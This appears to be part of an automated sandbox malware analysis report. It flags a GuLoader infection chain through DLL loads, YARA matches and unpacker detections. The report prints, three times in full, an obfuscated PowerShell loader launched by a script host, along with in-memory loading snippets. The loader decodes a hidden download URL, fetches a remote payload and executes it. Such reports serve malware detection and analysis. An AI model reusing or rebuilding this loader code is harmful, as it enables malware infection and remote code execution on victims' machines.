Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

VBScript performs obfuscated calls to suspicious functions

Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1951933890.0000000007C0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: msiexec.exe, 0000000A.00000003.2012206135.0000000022B10000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.2012001791.00000000229F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: tem.Core.pdb source: powershell.exe, 00000005.00000002.1951933890.0000000007C84000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: indows\System.Core.pdb source: powershell.exe, 00000005.00000002.1951933890.0000000007C84000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: msiexec.exe, 0000000A.00000003.2012533041.00000000229F0000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.2012882600.0000000022C10000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: msiexec.exe, 0000000A.00000003.2009854611.00000000229F0000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.2010288329.0000000022BE0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-2476756634-1002_Classes\WOW6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32. source: powershell.exe, 00000005.00000002.1951933890.0000000007C84000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: msiexec.exe, 0000000A.00000003.2011541543.0000000022B90000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.2011234761.00000000229F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: msiexec.exe, 0000000A.00000003.2009854611.00000000229F0000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.2010288329.0000000022BE0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: msiexec.exe, 0000000A.00000003.2011541543.0000000022B90000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.2011234761.00000000229F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: win32u.pdb source: wmpnscfg.exe
Source:	Binary string: wkernel32.pdbUGP source: msiexec.exe, 0000000A.00000003.2012206135.0000000022B10000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.2012001791.00000000229F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: msiexec.exe, 0000000A.00000003.2012533041.00000000229F0000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.2012882600.0000000022C10000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000005.00000002.1951933890.0000000007BC9000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: powershell ";$Skonnert='Privatest';;$Unpresumed='Revisionsarbejdes';;$Printede='Anamniotic';;$Erkendtligheden100=", "Unsupported parameter type 00000000")

Yara detected GuLoader

Source: Yara match	File source: 0000000A.00000003.2013688263.00000000056E5000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1961051493.000000000ABA5000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1960598330.0000000008EF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1936823765.000000000628B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1820309274.000002241006F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

.NET source code contains potential unpacker

Source: 12.3.svchost.exe.13e03cbc070.2.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 12.3.svchost.exe.13e03cbc070.2.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 12.3.svchost.exe.13e03cbc070.1.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 12.3.svchost.exe.13e03cbc070.1.raw.unpack, Runtime.cs	.Net Code: CoreMain

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Unbarbarous)$GLoBAL:bRIGitT = [sYSTeM.teXT.enCoding]::AScii.GETSTrIng($uNiverSaLStRmFOrsYnINGer)$glOBAl:stiknaRKOManeRNEs=$BrIGITT.SUbstRing($OVerMALinG,$BRuDFlADeRNe)<#Modstykker Op
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Fab $Squamosis $Insolubly), (Rundskaaret @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Hewett = [AppDomain]::CurrentDomain.GetAssemblies()$global:Lavning
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Pekunire)), $Tabernakelspyrases).DefineDynamicModule($Esselen, $false).DefineType($Stttemedlem, $Sycophantical, [System.MulticastDeleg
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Unbarbarous)$GLoBAL:bRIGitT = [sYSTeM.teXT.enCoding]::AScii.GETSTrIng($uNiverSaLStRmFOrsYnINGer)$glOBAl:stiknaRKOManeRNEs=$BrIGITT.SUbstRing($OVerMALinG,$BRuDFlADeRNe)<#Modstykker Op

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Skonnert='Privatest';;$Unpresumed='Revisionsarbejdes';;$Printede='Anamniotic';;$Erkendtligheden100='Petrolic38';;$Dybvandet=$host.Name;function Mareschal($Fibrillation){If ($Dybvandet) {$Jewbush=2} for ($Ambiguitet=$Jewbush;;$Ambiguitet+=3){if(!$Fibrillation[$Ambiguitet]) { break };$Klkning+=$Fibrillation[$Ambiguitet];$Cebian207='Motorcades'}$Klkning}function Dilemmatically($brynskov){ .($Underporch) ($brynskov)}$Lanciferous211=Mareschal 'SvNH e TBl..nW';$Lanciferous211+=Mareschal 'EreS BKic Lu ISyeUnnstT';$Ballelsseres=Mareschal 'plMLeoP zGli ilDel ta U/';$Jibbing=Mareschal ' WT FlSisPa1 a2';$Underleverancer='Me[HjnLee bT B.OvS e,frK v Hi dcpse RPCooBeIHunintR.M HAFlnImaPag,gEMiR ,] t:Te:PrsoueL CR,uF,R i EtOvySuPMiRfoo Nt To JC ,O l B=T $ ijHeI mb B BI kNS g';$Ballelsseres+=Mareschal 'Fo5In. C0I S(S W niAnnTadH.o.hwFosdi UaNA.TE .1R,0Re.Lu0Pa;.r DW iUnn A6,r4C,;Pe LxSi6 U4No;Ud BnrM vCr:A 1Hi3 1 P.Sk0O.)Se ,hGRee c .kpeog / I2Pa0Ju1.r0Sk0Sy1Vg0W,1Tt UgFCriBer Bem fEkospxTi/Ep1Th3Sa1 M. k0';$Ambiguitetntrapsychical=Mareschal 'UbuJos AeUnrNa-isaLiG HeJeN t';$Partisk=Mareschal 'OrhSptNot Rp.nsUn: ./tr/.pwVawHywsp.b pAftfrs.a.ungHerEmo u CpS,/.daMebG /K iV nPhfOvaPunF.tPhrTiyGlm Eeudn b.Ocd,peMep Ulo.o .y a>AlhSptS t op.fsac: r/K,/BawCiwskwSu.lupSku En Se testt ,.C aBeeUp/D ad,bKo/M iRanfaf Uason Bt .runy mSue ,n F.Hads.eAnpR lOkoSvy';$Hovedets=Mareschal 'T,>';$Underporch=Mareschal 'N i Se KX';$Kuldioxidets='Strateg';$Debatsidens='\Quaiches.Arg';Dilemmatically (Mareschal 'B $P GLeL.poNeB aA BLSk:Hoa eUdRSsa T deSm=U $,aeP nCaVR :Raa PFrPTadBeA uT uaCe+Sk$ .d HEFaB ADeTTos,ri,kdSiEInNBiS');Dilemmatically (Mareschal 'ge$.eG lAfO .bKnaAwlRy:S c ,hPaAAfp RLN.eFuSS SJo= ,$R pC AD RE tU.iAgSPeK . os ePFol OiPaTDe( o$Reh aoFoVInELsd E,fT hsTr)');Dilemmatically (Mareschal $Underleverancer);$Partisk=$Chapless[0];$bibbed=(Mareschal ' S$ eGFoLTmOUdbAdaUnL O: ,PMyi.icD tPru fRBoIFezInaCoT CIWaORenA,s H=LenKlE .w A-Ovo tbSpjShE.vC,uTNi RySSoyS s ptUde ,m o.n $AnL,aAanNFecDiIC,f eETir nOSmuSus e2 o1 g1');Dilemmatically ($bibbed);Dilemmatically (Mareschal ' T$O,P ,iRuc,itMuuL rAbiS z Ia.etG.iHoo n s .AlH.ee laHedSae ,rNosu [V $PoA PmOvb WiT.g uGriKotRueSht.knV,tKorP aDapT sSpy Ic.dhFii fcJuaInl G]M.=r $UnB LaTilFolKneUnlSusF sM.e PrPieGas');$Instrumenter=Mareschal ' H$SnP istcLet euC.rFuiR z BaInt Di Ao inLss C.,rDS oLywSvnU l .oAba ydTaFU.iAblD,e ( I$PlPMya BrAntRai Gs ,kJ ,Ro$ReFa,o,er ,nPrjFleMidGeeInsSy)';$Fornjedes=$Aerate;Dilemmatically (Mareschal 'fr$BrgLaLPeOFrBunA ,l ,: rvL.I rSpU TS ISS EGlN TS,u=Fr(Idt ,e TsbetBo-pepAnA .TDoh f W$GofPioAfRBln JB E dKoEBrSEn)');while (!$Virussens) {Dilemmatically (Mareschal 'Ov$ ngEtl Co obS,aBal B: uAFinMaa lgMir DaB mFem aaFrtAdi sPreFo= $ iANimSlbAliC g KuH i FtV ePrtBanMudBrsGekR yT.d eFll rssue 2,o3 F6') ;Dilemmatically $Instrumenter;Dilemmatically (Marescha
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Skonnert='Privatest';;$Unpresumed='Revisionsarbejdes';;$Printede='Anamniotic';;$Erkendtligheden100='Petrolic38';;$Dybvandet=$host.Name;function Mareschal($Fibrillation){If ($Dybvandet) {$Jewbush=2} for ($Ambiguitet=$Jewbush;;$Ambiguitet+=3){if(!$Fibrillation[$Ambiguitet]) { break };$Klkning+=$Fibrillation[$Ambiguitet];$Cebian207='Motorcades'}$Klkning}function Dilemmatically($brynskov){ .($Underporch) ($brynskov)}$Lanciferous211=Mareschal 'SvNH e TBl..nW';$Lanciferous211+=Mareschal 'EreS BKic Lu ISyeUnnstT';$Ballelsseres=Mareschal 'plMLeoP zGli ilDel ta U/';$Jibbing=Mareschal ' WT FlSisPa1 a2';$Underleverancer='Me[HjnLee bT B.OvS e,frK v Hi dcpse RPCooBeIHunintR.M HAFlnImaPag,gEMiR ,] t:Te:PrsoueL CR,uF,R i EtOvySuPMiRfoo Nt To JC ,O l B=T $ ijHeI mb B BI kNS g';$Ballelsseres+=Mareschal 'Fo5In. C0I S(S W niAnnTadH.o.hwFosdi UaNA.TE .1R,0Re.Lu0Pa;.r DW iUnn A6,r4C,;Pe LxSi6 U4No;Ud BnrM vCr:A 1Hi3 1 P.Sk0O.)Se ,hGRee c .kpeog / I2Pa0Ju1.r0Sk0Sy1Vg0W,1Tt UgFCriBer Bem fEkospxTi/Ep1Th3Sa1 M. k0';$Ambiguitetntrapsychical=Mareschal 'UbuJos AeUnrNa-isaLiG HeJeN t';$Partisk=Mareschal 'OrhSptNot Rp.nsUn: ./tr/.pwVawHywsp.b pAftfrs.a.ungHerEmo u CpS,/.daMebG /K iV nPhfOvaPunF.tPhrTiyGlm Eeudn b.Ocd,peMep Ulo.o .y a>AlhSptS t op.fsac: r/K,/BawCiwskwSu.lupSku En Se testt ,.C aBeeUp/D ad,bKo/M iRanfaf Uason Bt .runy mSue ,n F.Hads.eAnpR lOkoSvy';$Hovedets=Mareschal 'T,>';$Underporch=Mareschal 'N i Se KX';$Kuldioxidets='Strateg';$Debatsidens='\Quaiches.Arg';Dilemmatically (Mareschal 'B $P GLeL.poNeB aA BLSk:Hoa eUdRSsa T deSm=U $,aeP nCaVR :Raa PFrPTadBeA uT uaCe+Sk$ .d HEFaB ADeTTos,ri,kdSiEInNBiS');Dilemmatically (Mareschal 'ge$.eG lAfO .bKnaAwlRy:S c ,hPaAAfp RLN.eFuSS SJo= ,$R pC AD RE tU.iAgSPeK . os ePFol OiPaTDe( o$Reh aoFoVInELsd E,fT hsTr)');Dilemmatically (Mareschal $Underleverancer);$Partisk=$Chapless[0];$bibbed=(Mareschal ' S$ eGFoLTmOUdbAdaUnL O: ,PMyi.icD tPru fRBoIFezInaCoT CIWaORenA,s H=LenKlE .w A-Ovo tbSpjShE.vC,uTNi RySSoyS s ptUde ,m o.n $AnL,aAanNFecDiIC,f eETir nOSmuSus e2 o1 g1');Dilemmatically ($bibbed);Dilemmatically (Mareschal ' T$O,P ,iRuc,itMuuL rAbiS z Ia.etG.iHoo n s .AlH.ee laHedSae ,rNosu [V $PoA PmOvb WiT.g uGriKotRueSht.knV,tKorP aDapT sSpy Ic.dhFii fcJuaInl G]M.=r $UnB LaTilFolKneUnlSusF sM.e PrPieGas');$Instrumenter=Mareschal ' H$SnP istcLet euC.rFuiR z BaInt Di Ao inLss C.,rDS oLywSvnU l .oAba ydTaFU.iAblD,e ( I$PlPMya BrAntRai Gs ,kJ ,Ro$ReFa,o,er ,nPrjFleMidGeeInsSy)';$Fornjedes=$Aerate;Dilemmatically (Mareschal 'fr$BrgLaLPeOFrBunA ,l ,: rvL.I rSpU TS ISS EGlN TS,u=Fr(Idt ,e TsbetBo-pepAnA .TDoh f W$GofPioAfRBln JB E dKoEBrSEn)');while (!$Virussens) {Dilemmatically (Mareschal 'Ov$ ngEtl Co obS,aBal B: uAFinMaa lgMir DaB mFem aaFrtAdi sPreFo= $ iANimSlbAliC g KuH i FtV ePrtBanMudBrsGekR yT.d eFll rssue 2,o3 F6') ;Dilemmatically $Instrumenter;Dilemmatically (Marescha
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Skonnert='Privatest';;$Unpresumed='Revisionsarbejdes';;$Printede='Anamniotic';;$Erkendtligheden100='Petrolic38';;$Dybvandet=$host.Name;function Mareschal($Fibrillation){If ($Dybvandet) {$Jewbush=2} for ($Ambiguitet=$Jewbush;;$Ambiguitet+=3){if(!$Fibrillation[$Ambiguitet]) { break };$Klkning+=$Fibrillation[$Ambiguitet];$Cebian207='Motorcades'}$Klkning}function Dilemmatically($brynskov){ .($Underporch) ($brynskov)}$Lanciferous211=Mareschal 'SvNH e TBl..nW';$Lanciferous211+=Mareschal 'EreS BKic Lu ISyeUnnstT';$Ballelsseres=Mareschal 'plMLeoP zGli ilDel ta U/';$Jibbing=Mareschal ' WT FlSisPa1 a2';$Underleverancer='Me[HjnLee bT B.OvS e,frK v Hi dcpse RPCooBeIHunintR.M HAFlnImaPag,gEMiR ,] t:Te:PrsoueL CR,uF,R i EtOvySuPMiRfoo Nt To JC ,O l B=T $ ijHeI mb B BI kNS g';$Ballelsseres+=Mareschal 'Fo5In. C0I S(S W niAnnTadH.o.hwFosdi UaNA.TE .1R,0Re.Lu0Pa;.r DW iUnn A6,r4C,;Pe LxSi6 U4No;Ud BnrM vCr:A 1Hi3 1 P.Sk0O.)Se ,hGRee c .kpeog / I2Pa0Ju1.r0Sk0Sy1Vg0W,1Tt UgFCriBer Bem fEkospxTi/Ep1Th3Sa1 M. k0';$Ambiguitetntrapsychical=Mareschal 'UbuJos AeUnrNa-isaLiG HeJeN t';$Partisk=Mareschal 'OrhSptNot Rp.nsUn: ./tr/.pwVawHywsp.b pAftfrs.a.ungHerEmo u CpS,/.daMebG /K iV nPhfOvaPunF.tPhrTiyGlm Eeudn b.Ocd,peMep Ulo.o .y a>AlhSptS t op.fsac: r/K,/BawCiwskwSu.lupSku En Se testt ,.C aBeeUp/D ad,bKo/M iRanfaf Uason Bt .runy mSue ,n F.Hads.eAnpR lOkoSvy';$Hovedets=Mareschal 'T,>';$Underporch=Mareschal 'N i Se KX';$Kuldioxidets='Strateg';$Debatsidens='\Quaiches.Arg';Dilemmatically (Mareschal 'B $P GLeL.poNeB aA BLSk:Hoa eUdRSsa T deSm=U $,aeP nCaVR :Raa PFrPTadBeA uT uaCe+Sk$ .d HEFaB ADeTTos,ri,kdSiEInNBiS');Dilemmatically (Mareschal 'ge$.eG lAfO .bKnaAwlRy:S c ,hPaAAfp RLN.eFuSS SJo= ,$R pC AD RE tU.iAgSPeK . os ePFol OiPaTDe( o$Reh aoFoVInELsd E,fT hsTr)');Dilemmatically (Mareschal $Underleverancer);$Partisk=$Chapless[0];$bibbed=(Mareschal ' S$ eGFoLTmOUdbAdaUnL O: ,PMyi.icD tPru fRBoIFezInaCoT CIWaORenA,s H=LenKlE .w A-Ovo tbSpjShE.vC,uTNi RySSoyS s ptUde ,m o.n $AnL,aAanNFecDiIC,f eETir nOSmuSus e2 o1 g1');Dilemmatically ($bibbed);Dilemmatically (Mareschal ' T$O,P ,iRuc,itMuuL rAbiS z Ia.etG.iHoo n s .AlH.ee laHedSae ,rNosu [V $PoA PmOvb WiT.g uGriKotRueSht.knV,tKorP aDapT sSpy Ic.dhFii fcJuaInl G]M.=r $UnB LaTilFolKneUnlSusF sM.e PrPieGas');$Instrumenter=Mareschal ' H$SnP istcLet euC.rFuiR z BaInt Di Ao inLss C.,rDS oLywSvnU l .oAba ydTaFU.iAblD,e ( I$PlPMya BrAntRai Gs ,kJ ,Ro$ReFa,o,er ,nPrjFleMidGeeInsSy)';$Fornjedes=$Aerate;Dilemmatically (Mareschal 'fr$BrgLaLPeOFrBunA ,l ,: rvL.I rSpU TS ISS EGlN TS,u=Fr(Idt ,e TsbetBo-pepAnA .TDoh f W$GofPioAfRBln JB E dKoEBrSEn)');while (!$Virussens) {Dilemmatically (Mareschal 'Ov$ ngEtl Co obS,aBal B: uAFinMaa lgMir DaB mFem aaFrtAdi sPreFo= $ iANimSlbAliC g KuH i FtV ePrtBanMudBrsGekR yT.d eFll rssue 2,o3 F6') ;Dilemmatically $Instrumenter;Dilemmatically (Marescha	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BAA507C pushfd ; retf	3_2_00007FFD9BAA50BA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BAA4C73 push eax; retf	3_2_00007FFD9BAA4CD2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BAA4CD4 push FD9BCB68h; retf	3_2_00007FFD9BAA4D42
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB7783D push es; iretd	3_2_00007FFD9BB77847
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB77457 push es; iretd	3_2_00007FFD9BB77458
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB783F4 push es; iretd	3_2_00007FFD9BB783F6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB77BEF push es; iretd	3_2_00007FFD9BB77BF1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB77FFD push es; iretd	3_2_00007FFD9BB77FFF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB77FA7 push es; iretd	3_2_00007FFD9BB77FA9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB77BC2 push es; iretd	3_2_00007FFD9BB77BC4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB77374 push es; iretd	3_2_00007FFD9BB7737A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB7437F push ds; iretd	3_2_00007FFD9BB7438F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB77787 push es; iretd	3_2_00007FFD9BB77789
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB78353 push es; iretd	3_2_00007FFD9BB78355
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB77EEB push es; iretd	3_2_00007FFD9BB77EED
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB782FD push es; iretd	3_2_00007FFD9BB78309
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB782AE push es; iretd	3_2_00007FFD9BB782B0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB786C3 push es; iretd	3_2_00007FFD9BB786C5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB77A67 push es; iretd	3_2_00007FFD9BB77A69
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB7761D push es; iretd	3_2_00007FFD9BB77628
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB77234 push es; iretd	3_2_00007FFD9BB77232
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB77E57 push es; iretd	3_2_00007FFD9BB77E59
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB77DF4 push es; iretd	3_2_00007FFD9BB77DF6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB77209 push es; iretd	3_2_00007FFD9BB77232
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB78618 push es; iretd	3_2_00007FFD9BB7861A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB779CB push es; iretd	3_2_00007FFD9BB779CD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB77D6C push es; iretd	3_2_00007FFD9BB77D88
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB78593 push es; iretd	3_2_00007FFD9BB78595
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB78522 push es; iretd	3_2_00007FFD9BB78524
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB78127 push es; iretd	3_2_00007FFD9BB78129
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BB74526 push es; retf	3_2_00007FFD9BB74527

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
